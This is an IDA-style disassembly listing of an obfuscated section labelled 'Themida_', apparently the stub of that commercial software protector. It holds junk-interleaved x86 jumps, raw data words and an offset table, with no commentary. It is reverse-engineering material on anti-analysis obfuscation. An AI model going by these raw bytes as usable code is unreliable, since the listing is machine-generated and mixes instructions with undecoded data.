		dd 0A4CCB18h, 89FF8FB2h, 1304C185h, 72EB8106h, 0FF06E289h
		dd 131CBDB5h, 0EE906h, 8D670000h, 0FF6E19C5h, 0E7555CAEh
		dd 37E01506h, 0A34D858Dh, 820F0615h, 0Dh, 8E9h,	0D2EB9B00h
		dd 0F4B5A4BAh, 0CE9505Fh, 93000000h, 6597B388h,	0C6439E66h
		dd 89610537h, 8B532404h, 1315499Dh, 8B665A06h, 8D5650D8h
		dd 13573ABDh, 0B48D8D06h, 0B806137Ch, 748323BCh, 730CF2Bh
		dd 4947C8D0h, 585EF875h, 10DDBD83h, 74000613h, 958D8B06h
		dd 33061330h, 0B8C9h, 0C00B0000h, 0A8840Fh, 0BD830000h
		dd 61307F1h, 0FF067400h, 13133995h, 0B806h, 0C00B0000h
		dd 0BD830975h, 6134F23h, 83097401h, 134F23BDh, 0E750206h
		dd 4F1BB58Bh, 858D0613h, 615A34Dh, 0BD83D0FFh, 61307E5h
		dd 0FF067400h, 13168595h, 81858D06h, 0FF061343h, 0F1BD83D0h
		dd 206132Ch, 0A58B2F75h, 61308B9h, 10DD858Bh, 4890613h
		dd 0CD85C724h, 1061311h, 8B000000h, 134F1FB5h, 0E5AD8B06h
		dd 0B8061313h, 1, 0EB000CC2h, 0CD85C700h, 1061311h, 8B000000h
		dd 1308B9A5h, 81B58B06h, 8B061334h, 1313E5ADh, 0C2C03306h
		dd 0BD83000Ch, 61307E5h, 830F7400h, 131685BDh, 6740006h
		dd 168595FFh, 0B58B0613h, 6134F1Bh, 119589C3h, 0E8061330h
		dd 0Bh,	0F7A205AEh, 995AB2F7h, 934D847h, 130EADBDh, 0D22B5B06h
		dd 7DBD8960h, 60061324h, 2ECDB509h, 858B0613h, 613147Dh
		db 2 dup(61h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5840B2
; ---------------------------------------------------------------------------


loc_5840B0:				; CODE XREF: Themida_:005840B5j
		inc	eax
		inc	edi


loc_5840B2:				; CODE XREF: Themida_:005840AEj
		cmp	byte ptr [edi],	0
		jnz	short loc_5840B0
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5840E1
; ---------------------------------------------------------------------------


loc_5840BE:				; CODE XREF: Themida_:005840E3j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5840D6
; ---------------------------------------------------------------------------


loc_5840D3:				; CODE XREF: Themida_:005840D9j
		mul	ebx
		dec	esi


loc_5840D6:				; CODE XREF: Themida_:005840D1j
		cmp	esi, 0
		ja	short loc_5840D3
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5840E1:				; CODE XREF: Themida_:005840BCj
		or	eax, eax
		jnz	short loc_5840BE
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 3FD4C353h, 0CB93A8CEh, 958BD3F9h,	6131719h
		dd 0F58D8B60h, 8B061313h, 132BA18Dh, 6A6106h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E4548AC3h
		dd 0E9C18B36h, 21AA5h, 2 dup(5FBE9Eh), 0
		dd 26C0023h, 12FEF4h, 26C001Bh,	5FA34Bh, 206h, 2, 1, 0
		dd 0FA44C2CAh, 5 dup(0)
		dd offset byte_58B4D1
		dd offset dword_58EFAC
		dd offset byte_589503
		dd offset dword_58947C
		dd offset byte_586C1D
		dd offset dword_58F758
		dd offset dword_59033C
		dd offset word_58FE36
		dd offset byte_584589
		dd offset word_5848B2
		dd offset byte_585CC5
		dd offset byte_58DD33
		dd offset byte_58E67B
		dd offset byte_58840F
		dd offset word_589326
		dd offset dword_58500C
		dd offset byte_58BBB9
		dd offset byte_58AD91
		dd offset byte_58BB09
		dd offset word_58956A
		dd offset byte_58A2C1
		dd offset byte_58F65D
		dd offset byte_5900A3
		dd offset byte_58492B
		dd offset word_586486
		dd offset dword_58DB74
		dd offset dword_585D1C
		dd offset byte_5867E1
		dd offset byte_58639F
		dd offset byte_5877A9
		dd offset byte_58A443
		dd offset byte_5845D9
		dd offset word_58925A
		dd offset byte_58A71D
		dd offset byte_58A14F
		dd offset dword_589048
		dd offset byte_58BD1D
		dd offset word_58A7EE
		dd offset byte_584787
		dd offset word_588FDA
		dd offset word_588486
		dd offset dword_58A808
		dd offset dword_58B8B4
		dd offset byte_58C0B7
		dd offset word_58CA1A
		dd offset byte_588855
		dd offset dword_58BA6C
		dd offset byte_5900ED
		dd offset byte_587A57
		dd offset dword_586678
		dd offset byte_58C361
		dd offset aMsOh		; "¬S³oh{]"
		dd offset dword_58D930
		dd offset byte_58CBED
		dd offset byte_588A67
		dd offset word_58CC7E
		dd offset byte_58864D
		dd offset byte_58E7B3
		dd offset byte_58A335
		dd offset word_58D0B6
		dd offset aN1Uhzp	; "­1ØUh‡p"
		dd offset aM0Hzq	; "¬0Øh‡q"
		dd offset aSszg		; "S釣"
		dd offset aM0Hdr	; "¬0Øh„r"
		dd offset word_5895D2
		dd offset dword_58F524
		dd offset byte_587D5F
		dd offset byte_590241
		dd offset byte_584FBD
		dd offset byte_589BEF
		dd offset dword_58C490
		dd offset byte_58E261
		dd offset byte_588B69
		dd offset byte_58E1DD
		dd offset word_58B792
		dd offset word_58A7FE
		dd offset byte_58E7A5
		dd offset byte_58CF2F
		dd offset word_58B8CE
		dd offset word_585772
		dd offset dword_58967C
		dd offset word_58641A
		dd offset word_58789E
		dd offset dword_58D568
		dd offset word_5904F2
		dd offset dword_58BB94
		dd offset dword_5846A4
		dd offset byte_58699D
		dd offset word_588B46
		dd offset word_589316
		dd offset word_58EE72
		dd offset dword_58F214
		dd offset byte_58D68B
		dd offset word_5848FE
		dd offset dword_58712C
		dd offset byte_585A2F
		dd offset byte_5871BF
		dd offset dword_58CC60
		dd offset word_585912
		dd offset byte_58DD29
		dd offset word_58B9FE
		dd offset byte_586927
		dd offset byte_58DFE3
		dd offset byte_58ACE7
		dd offset byte_58A2B3
		dd offset byte_58DA31
		dd offset word_5876D2
		dd offset byte_587189
		dd offset byte_589669
		dd offset dword_5849B8
		dd offset dword_58E4B0
		dd offset byte_5847DF
		dd offset dword_5862D4
		dd offset dword_58A57C
		dd offset byte_588F61
		dd offset byte_58E6BD
		dd offset word_58EC0A
		dd offset byte_586B93
		dd offset word_58D0C6
		dd offset dword_58EDDC
		dd offset aMs5		; "Ž5]"
		dd offset byte_58FB73
		dd offset word_588A26
		dd offset dword_58CCA0
		dd offset aNh		; "­h`]"
		dd offset dword_584E6C
		dd offset aFlSjk	; "f‹$$éjk"
		dd offset byte_58CFEB
		dd offset byte_58E4B9
		dd offset byte_58E437
		dd offset byte_58F595
		dd offset word_588D32
		dd offset word_588A7E
		dd offset byte_5903C5
		dd offset aNsF		; "­é:F"
		dd offset byte_5906D5
		dd offset dword_58B764
		dd offset byte_58B5ED
		dd offset dword_584A2C
		dd offset byte_58D223
		dd offset byte_58D7E7
		dd offset byte_58F1DF
		dd offset dword_58E9C8
		dd offset aNhd		; "­hd,"
		dd offset dword_58A1AC
		dd offset byte_588159
		dd offset byte_588D79
		dd offset byte_58E2A1
		dd offset aNs2		; "­é2%"
		dd offset dword_5844F4
		dd offset word_58965A
		dd offset aN1Hyy	; "­1ØhYY"
		dd offset byte_58999D
		dd offset word_586DD6
		dd offset byte_58E93D
		dd offset word_589946
		dd offset dword_58B7B0
		dd offset word_58D34E
		dd offset byte_586C9F
		dd offset word_585DBE
		dd offset word_58A04A
		dd offset byte_58DBBD
		dd offset word_58794E
		dd offset dword_58615C
		dd offset dword_589110
		dd offset word_58B67E
		dd offset dword_587B8C
; ---------------------------------------------------------------------------


loc_58442C:				; CODE XREF: Themida_:005A6507j
					; Themida_:005B63E6j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 613816Ah
		mov	eax, edi
		add	edi, 6137E82h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58444A
		jmp	short loc_58445D
; ---------------------------------------------------------------------------


loc_58444A:				; CODE XREF: Themida_:00584446j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_584459
; ---------------------------------------------------------------------------


loc_584454:				; CODE XREF: Themida_:0058445Bj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_584459:				; CODE XREF: Themida_:00584452j
		or	ecx, ecx
		jnz	short loc_584454


loc_58445D:				; CODE XREF: Themida_:00584448j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58446A:				; CODE XREF: Themida_:00584471j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58446A


loc_584473:				; CODE XREF: Themida_:loc_584974j
					; Themida_:00584BD9j ...
		lodsb
		sub	esp, 2
		jmp	loc_59063D
; ---------------------------------------------------------------------------


loc_58447C:				; CODE XREF: Themida_:0059076Fj
		add	esi, 26D32018h
		sub	ebp, esi
		pop	esi
		jmp	loc_58E634
; ---------------------------------------------------------------------------
		dw 0F130h
		dd 0CA88525Ah, 0E95AD788h, 1A08h
; ---------------------------------------------------------------------------


loc_584498:				; CODE XREF: Themida_:005849E8j
		add	ebx, 0BEB34990h
		jmp	loc_5881BB
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 5AF2C781h, 0D70153B4h, 5AF2EF81h,	685A53B4h, 51EDh
		dd 0BD242C89h, 2, 13F1C781h, 0EF0167D2h, 13F1EF81h, 2C8B67D2h
		dd 4C48324h, 2474FF57h,	7E4CE904h, 815D0000h, 3400A1EDh
		dd 62F58167h, 0E9EDB55Fh, 0B18Eh
dword_5844F4	dd 68h,	2434FF00h, 8B2434FFh, 0DAE9241Ch		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584507:				; CODE XREF: Themida_:00585AF3j
		or	edx, eax
		jmp	loc_584C7E
; ---------------------------------------------------------------------------
a1SZ		db '1<$éÒZ',0
		align 2
		dw 29BEh
		dd 0C17D6369h, 0E6C103EEh, 60C68108h, 4E47B60Fh, 1501E681h
		dd 0EE816D7Dh, 0FAC9ADA9h, 0E95EF029h, 979Fh, 0E903E5C1h
		dd 47D9h, 4C4815Bh, 80000000h, 0E95265C3h, 46C3h
; ---------------------------------------------------------------------------


loc_584554:				; CODE XREF: Themida_:00589FBDj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_5891C3
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_58857B
; ---------------------------------------------------------------------------
aTsj		db 'TéJ°',0
		db 0
byte_584589	db 68h,	0ADh, 23h	; DATA XREF: Themida_:005841B0o
		dd 4890000h, 200B824h, 47090000h, 2434FF1Ch, 858E9h
		db 0
; ---------------------------------------------------------------------------


loc_5845A1:				; CODE XREF: Themida_:0058D07Dj
		xor	edx, edi
		jmp	loc_589A67
; ---------------------------------------------------------------------------


loc_5845A8:				; CODE XREF: Themida_:0058DA86j
		add	ecx, 4
		jmp	loc_584FA8
; ---------------------------------------------------------------------------
		dd 0E958C201h, 9C57h, 8904EC83h, 0E0892404h, 405h, 40500h
		dd 4870000h, 34875C24h,	24248B24h, 104E9h
		db 0
byte_5845D9	db 64h,	66h, 8Bh	; DATA XREF: Themida_:0058420Co
		dd 18F76802h, 34890000h, 2218E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5845EA:				; CODE XREF: Themida_:00584D11j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	20000h
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_585CF0
; ---------------------------------------------------------------------------
		dd 243C875Dh, 2434FF5Ch, 0E92434FFh, 151Fh, 0AA53D6B9h
		dd 244C3155h, 815B5904h, 0AA53D6F3h, 0DA015F55h, 0F91E9h
		dd 24048F00h, 2404315Ch, 46C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_584655:				; CODE XREF: Themida_:0058E962j
		sub	edx, 1B332B08h
		add	edx, ecx
		jmp	loc_585920
; ---------------------------------------------------------------------------
		dw 5CBAh
		dd 81061F34h, 1F345EF2h, 0E9D60106h, 4A29h, 0C8B60F5Ch
		dd 0A599E9h, 81E78900h,	4C7h, 4BE5600h,	29000000h, 0EFE95EF7h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584693:				; CODE XREF: Themida_:00587276j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58F6B6
; ---------------------------------------------------------------------------
dword_5846A4	dd 24048B66h, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 0E9243489h
					; DATA XREF: Themida_:005842E8o
		dd 963h
; ---------------------------------------------------------------------------


loc_5846C0:				; CODE XREF: Themida_:0058A784j
		shr	ebx, 4
		neg	ebx
		sub	ebx, 0A513E691h
		mov	ecx, ebx
		jmp	loc_58617F
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 0FFFFFFFFh, 2D8DE9h,	48B6600h, 34D06824h, 1C890000h
		dd 4EC8124h, 89000000h,	0A8E92424h, 3100005Ah, 4332404h
		dd 36685C24h, 89000032h, 8853240Ch, 885150D3h, 0EB8853DDh
		dd 96E9D888h, 2D000098h, 2, 5C240487h, 9991E9h,	7FCF8100h
		dd 0F709F642h, 0AEC7E9D7h, 0BB530000h, 2978045Fh, 5D3692BAh
		dd 8C31E91Dh, 0D8290000h, 4EC81h, 1C890000h, 41136824h
		dd 6FE90000h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584757:				; CODE XREF: Themida_:0058BF9Bj
		push	edi
		push	ecx
		jmp	loc_588906
; ---------------------------------------------------------------------------


loc_58475E:				; CODE XREF: Themida_:005871B3j
		add	ch, 49h
		xor	al, ch
		jmp	loc_588878
; ---------------------------------------------------------------------------
		dd 0C3285A66h, 4EC81h, 14890000h, 0E996B224h, 4857h
; ---------------------------------------------------------------------------


loc_58477C:				; CODE XREF: Themida_:00584A59j
		add	esp, 4
		jmp	loc_58AC58
; ---------------------------------------------------------------------------
byte_584787	db 83h			; DATA XREF: Themida_:00584228o
		dd 248904ECh, 24048324h, 2434FF04h, 0E92434FFh,	5619h
		dd 8104C483h, 4C2h, 7FA56800h, 0C890000h, 81E18924h, 4C1h
		dd 4E98300h, 8B240C87h,	4892424h, 4B824h, 0C2290000h, 24143358h
		dd 49ACE9h, 0E9C33100h,	213Fh
; ---------------------------------------------------------------------------


loc_5847D8:				; CODE XREF: Themida_:0058FB8Fj
		or	esi, edi
		jmp	loc_585EEE
; ---------------------------------------------------------------------------
byte_5847DF	db 0FFh			; DATA XREF: Themida_:0058434Co
		dd 669D1C77h, 2414D259h, 8C4FE99Ch, 0C4830000h,	1ABD0504h
		dd 0CD2D320Bh, 291BDE30h, 30CD05D8h, 0BA521BDEh, 320B1ABDh
		dd 685AD029h, 5749h, 0E9241489h, 3276h,	0E924248Bh, 9BBAh
; ---------------------------------------------------------------------------


loc_584820:				; CODE XREF: Themida_:005857DAj
		mov	ebp, 4
		jmp	loc_584AE2
; ---------------------------------------------------------------------------
		dw 8166h
		dd 663BA2EBh, 2E9C329h,	0BA0000ABh, 4, 970CE9h,	0E5C15900h
		dd 0C6E95606h, 5300004Bh, 0D7F6D788h, 81E9FA88h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584857:				; CODE XREF: Themida_:0058838Dj
		push	bx
		mov	bl, 1Dh
		add	cl, bl
		pop	bx
		jmp	loc_585AF8
; ---------------------------------------------------------------------------
		dd 42CAC681h, 565971A8h, 42474FFh, 85CCE9h, 0E9F30100h
		dd 6828h, 8904EC83h, 4812424h, 424h, 9CA0E900h,	0F3870000h
		dd 595E5156h, 0AB49E9h,	48F5900h, 24248B24h, 9C240428h
		dd 0FFFBCAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5848A9:				; CODE XREF: Themida_:005861B8j
		pop	esp
		pop	dword ptr [edi+20h]
		jmp	loc_58D4CA
; ---------------------------------------------------------------------------
word_5848B2	dw 34FFh		; DATA XREF: Themida_:005841B4o
		dd 24048B24h, 0B25E9h, 2434FF00h, 4C4815Fh, 81000000h
		dd 2565D8F2h, 0D3BF5770h, 8142F96Ch, 5040CFF7h,	8CEF8179h
		dd 1D829D4h, 0D0295FF8h, 95D5E9h, 0A96A3500h, 0C189AD18h
		dd 0E9CA3158h, 254Bh
; ---------------------------------------------------------------------------


loc_5848F8:				; CODE XREF: Themida_:0058C1A5j
		pop	ebx
		jmp	loc_58CC86
; ---------------------------------------------------------------------------
word_5848FE	dw 77FFh		; DATA XREF: Themida_:00584304o
		dd 59669D1Ch, 9C2414D3h, 0FFFB66E9h, 0E9E689FFh, 7EE4h
; ---------------------------------------------------------------------------


loc_584914:				; CODE XREF: Themida_:0058FA66j
		push	38ECh
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		jmp	loc_58C79C
; ---------------------------------------------------------------------------
		db 42h,	0E9h, 0A0h
		db 12h,	2 dup(0)
byte_58492B	db 66h			; DATA XREF: Themida_:005841ECo
		dd 5324048Bh, 0B7F0E9h,	80D4F600h, 3FE961E4h, 3300002Bh
		dd 248B242Ch, 24348924h, 0BB535E54h, 47217996h,	0E381DBF7h
		dd 791665BFh, 8FDBE9h, 24048900h, 405E089h, 83000000h
		dd 0EEE904C0h, 0E9000091h, 0FFFFFAFFh
; ---------------------------------------------------------------------------


loc_584974:				; CODE XREF: Themida_:005898CDj
		jmp	loc_584473
; ---------------------------------------------------------------------------
aLH		db '‹$$hµ<',0
		dd 242C8900h, 46B7E9h, 24E18100h, 0C169082Ch, 0BE5604E1h
		dd 439B55E3h, 815EF129h, 7E4492C9h, 0E981411Dh,	45D92796h
		dd 2959C801h, 450A2DC8h, 0E9597826h, 0FFFFFABBh
dword_5849B8	dd 24048B66h, 34FF5455h, 242C8B24h, 2935E9h		db 0
; ---------------------------------------------------------------------------


loc_5849C9:				; CODE XREF: Themida_:0058ED6Bj
		neg	ebx
		push	5644h
		mov	[esp], eax
		mov	eax, 39730494h
		add	eax, 0FC32B61h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_584498
; ---------------------------------------------------------------------------


loc_5849ED:				; CODE XREF: Themida_:00588C56j
		mov	eax, 2C5A65F5h
		or	edi, eax
		pop	eax
		jmp	loc_5883A0
; ---------------------------------------------------------------------------
		dw 48Fh
aVss1		db '$Vés1',0
		dw 5100h
		dd 1733E955h, 0D7010000h, 3C0FE9h, 0C8AF0F00h, 58E99C51h
		dd 81FFFFFAh, 2C7h, 243C3300h, 0E9243C31h, 0AEE3h
dword_584A2C	dd 240C8B66h, 72AE68h, 2A53E900h, 0C6810000h, 49257D16h
					; DATA XREF: Themida_:005843B8o
		dd 0B101E9h, 0DAF65900h, 0EEE9D788h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584A4F:				; CODE XREF: Themida_:005905B5j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_58477C
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 5743A7Bh, 48BC329h, 47B2E924h, 0B8500000h, 0
aSP		db ')Èé,',0
		dw 8100h
		dd 4C1h, 2C18300h, 8B240C87h, 0F662424h, 9C2404ABh, 0FFF9DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_584A95:				; CODE XREF: Themida_:0058BEE3j
		mov	ebp, 2
		push	ebp
		mov	ebp, 7CBA5C60h
		push	edi
		mov	edi, 513A1D67h
		neg	edi
		shr	edi, 3
		sub	edi, 0E9F15D37h
		add	ebp, edi
		pop	edi
		push	0DF2h
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		neg	ebp
		jmp	loc_58D5AF
; ---------------------------------------------------------------------------
aSszg		db 'S釣',0             ; DATA XREF: Themida_:00584288o
		align 2
		dw 814Dh
		dd 0BCB10CF5h, 0B424E9A7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584AE2:				; CODE XREF: Themida_:00584825j
		sub	ebx, 152C21ACh
		add	ebx, ebp
		jmp	loc_585BD7
; ---------------------------------------------------------------------------


loc_584AEF:				; CODE XREF: Themida_:005892C7j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5856E7
; ---------------------------------------------------------------------------


loc_584AFD:				; CODE XREF: Themida_:0058FD27j
		add	ecx, 619C72FEh
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58B69E
; ---------------------------------------------------------------------------


loc_584B0F:				; CODE XREF: Themida_:0058B9F9j
		push	esi
		mov	esi, 649D13C4h
		mov	eax, 0F6366AFh
		add	eax, 1
		xor	eax, 3DE10F7h
		jmp	loc_58F3EF
; ---------------------------------------------------------------------------


loc_584B29:				; CODE XREF: Themida_:0058ADC7j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 64614475h
		jmp	loc_587B27
; ---------------------------------------------------------------------------


loc_584B48:				; CODE XREF: Themida_:0058C184j
		pop	edx
		pop	esi
		push	4F61h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_58C189
; ---------------------------------------------------------------------------


loc_584B5F:				; CODE XREF: Themida_:005872F3j
		mov	[esp], edi
		push	ebp
		push	5E645AA1h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ebp, 5E644AA1h
		mov	edi, ebp
		jmp	loc_58577A
; ---------------------------------------------------------------------------
		dd 0FF381CBDh, 5DEA2142h, 3B6CA81h, 0DAF76958h,	7B1BF281h
		dd 0BF577E46h, 7E224E7Eh, 215FFA29h, 0F6815AD6h, 64A52244h
		dd 8104EEC1h, 0B75693F6h, 0E9F3013Ah, 864h, 4C181h, 0FF510000h
		dd 59042474h, 8B24048Fh, 9FE92424h, 87000088h, 0E95C241Ch
		dd 57BDh
; ---------------------------------------------------------------------------


loc_584BD4:				; CODE XREF: Themida_:0058E820j
		pop	ebx
		add	esp, 4
		pop	ecx
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd offset dword_4DE2E8+6601h
		db 0
; ---------------------------------------------------------------------------


loc_584BE5:				; CODE XREF: Themida_:0058DB24j
		pop	ebp
		jmp	loc_586717
; ---------------------------------------------------------------------------
		db 81h
		dd 2ECh, 1C896600h, 0A0B55124h,	2859EF88h, 1C8B66FAh, 2C48124h
		dd 30000000h, 24148BD0h, 6683E9h, 58BE5600h, 0E93C5223h
		dd 4E80h, 4C481h, 48F0000h, 24248B24h, 6CD1E9h,	0ABF5700h
		dd 0C1294651h, 0E78102E7h, 5F0C1471h, 0F7DFF747h, 34C781D7h
		dd 896AE93Ch, 0C3815FFBh, 900EBFE8h, 5A9C381h, 0FB013D82h
		dd 2D4E9h, 0B900h, 0D9010000h, 0C8B1188h, 4C48324h, 68241C8Bh
		dd 0E6Ch, 89240489h, 0BA22E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584C7E:				; CODE XREF: Themida_:00584509j
		shl	edx, 1
		jmp	loc_58B3FD
; ---------------------------------------------------------------------------
aWhMpLSby	db 'WhÉMP(‹<$é¡Y',0
		dw 8B00h
		dd 4002424h, 0D4E99C24h, 5AFFFFF7h, 0C3FCEA81h,	0EA8179E7h
		dd 7ADF0654h, 0AD58E9h
		db 0
; ---------------------------------------------------------------------------


loc_584CB1:				; CODE XREF: Themida_:00587547j
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 4B896379h
		add	ecx, 0B4F1149h
		not	ecx
		not	ecx
		push	66A3h
		mov	[esp], edi
		jmp	loc_5884E9
; ---------------------------------------------------------------------------
		db 81h
		dd 465087CFh, 863E91Eh,	0F8000000h, 0E92434FFh,	0FFFFF858h
; ---------------------------------------------------------------------------


loc_584CEC:				; CODE XREF: Themida_:0058F7FCj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58CF07
; ---------------------------------------------------------------------------
		dd 576906B9h, 0EFE9497Eh
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584D03:				; CODE XREF: Themida_:0058ABFDj
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5845EA
; ---------------------------------------------------------------------------


loc_584D16:				; CODE XREF: Themida_:00586BC5j
		mul	cl
		movzx	cx, ah
		jmp	loc_58C24A
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 34290000h, 8DE95E24h, 3Eh, 4EF8E9FEh, 0C3310000h, 630E9h
		dd 4C48100h, 51000000h,	42474FFh, 0FFFB4CE9h, 243C87FFh
		dd 6824248Bh, 41D7h, 89243489h,	4EE951E6h, 5C00004Ch, 54241C89h
		dd 4EC815Bh, 89000000h,	0FCE92434h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_584D77:				; CODE XREF: Themida_:0058BFF2j
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_586467
; ---------------------------------------------------------------------------
		dd 158C131h, 240C8BCDh,	4C481h,	35E90000h, 1000001h, 34875BDEh
		dd 0A9685C24h, 89000057h, 74E9242Ch
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584DAF:				; CODE XREF: Themida_:0058890Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_587D1F
; ---------------------------------------------------------------------------
aTs_		db 'TéÈ_',0
		dw 8100h
		dd 0CB6366C3h, 6CC4E91Ah, 0F3800000h, 5BD8289Dh, 0CD04D800h
		dd 2E77E951h
		db 2 dup(0)
aMs5		db 'Ž5]',0             ; DATA XREF: Themida_:00584370o
		align 4
		dd 0E01A45BBh, 8BDE0165h, 0C481241Ch, 4, 1942E9h, 24048B00h
		dd 5E08950h, 4,	405h, 24048700h, 4EC835Ch, 89242C89h, 20E956E5h
		dd 810000A7h, 0B13017C1h, 0EB8E965h, 1C890000h,	57E38924h
		dd 2F60BDBFh, 0F6BD5569h, 8702003Ah, 14F751CDh,	20EFE924h
		dd 0D0F60000h, 63D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_584E49:				; CODE XREF: Themida_:005892E1j
		mov	eax, 4D4C793Dh
		sub	eax, 0FFFFFFFFh
		xor	eax, 76E04474h
		push	edx
		mov	edx, 486E4E32h
		add	eax, edx
		jmp	loc_58DD7B
; ---------------------------------------------------------------------------


loc_584E65:				; CODE XREF: Themida_:00588BD0j
		push	esi
		push	eax
		jmp	loc_5856B3
; ---------------------------------------------------------------------------
dword_584E6C	dd 0D2685156h, 594B895Eh, 6C77F181h, 91681242h,	89000008h
					; DATA XREF: Themida_:00584384o
		dd 0EC81243Ch, 4, 0BB241C89h, 401C5CC6h, 0E381EBD1h, 73C53342h
		dd 0C102E3C1h, 0EB8307E3h, 30EB8101h, 89B1AF70h, 0F9295BDFh
		dd 51243C8Bh, 533BE9h, 0E0EB8100h, 0E94F933Ah, 2DA7h
; ---------------------------------------------------------------------------


loc_584EC0:				; CODE XREF: Themida_:0058C5AAj
		push	esi
		jmp	loc_586376
; ---------------------------------------------------------------------------
		dw 0D3BDh
		dd 0E91E670Ch, 4EC1h, 4ED81h, 2C330000h, 242C3124h, 5C242C33h
		dd 0B6241489h, 0E9F000A8h, 9FA0h, 0B6AC581h, 0DDF756BFh
		dd 8743C581h, 0EEE9C561h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584EFF:				; CODE XREF: Themida_:00589BA8j
		xor	edi, 4EC414D5h
		push	eax
		push	edx
		mov	edx, 0CE62705Eh
		jmp	loc_58A9B7
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 33243C31h, 248B243Ch, 60EB8124h, 686F3F73h, 16CCh, 53243489h
		dd 0AD83E9h, 4EC8300h, 0E9243489h, 0FFFFF9D1h, 0E9240C87h
		dd 6668h, 5259CB01h, 2BB53h, 5CE90000h,	5C000076h, 6108E9h
		dd 0E2C14200h, 177BE902h, 248B0000h, 242CD224h,	0F505E99Ch
		dd 7568FFFFh, 89000022h, 0EC81241Ch, 4,	0B9240C89h, 2A137C62h
		dd 5159CB89h, 77224F68h, 0E9815965h, 36F1014Fh,	8746F187h
		dd 68D1F7F1h, 0A1Ch, 0E9241489h, 1E7Ah
; ---------------------------------------------------------------------------


loc_584FA8:				; CODE XREF: Themida_:005845ABj
		xchg	ecx, [esp]
		jmp	loc_58E274
; ---------------------------------------------------------------------------
		dd 2E2F6805h, 5552594Dh, 426BE9h
		db 0
byte_584FBD	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:005842A0o
		dd 4EC81h, 0C890000h, 5AFCB924h, 0D1F76173h, 7E1C149h
		dd 74BD6855h, 0C890000h, 0F3BA5224h, 0B91D721Ah, 7D4158D7h
		dd 0E95AD131h, 0B119h
; ---------------------------------------------------------------------------


loc_584FF0:				; CODE XREF: Themida_:0058D3E8j
		pop	eax
		push	ecx
		jmp	loc_5885EC
; ---------------------------------------------------------------------------
		db 83h
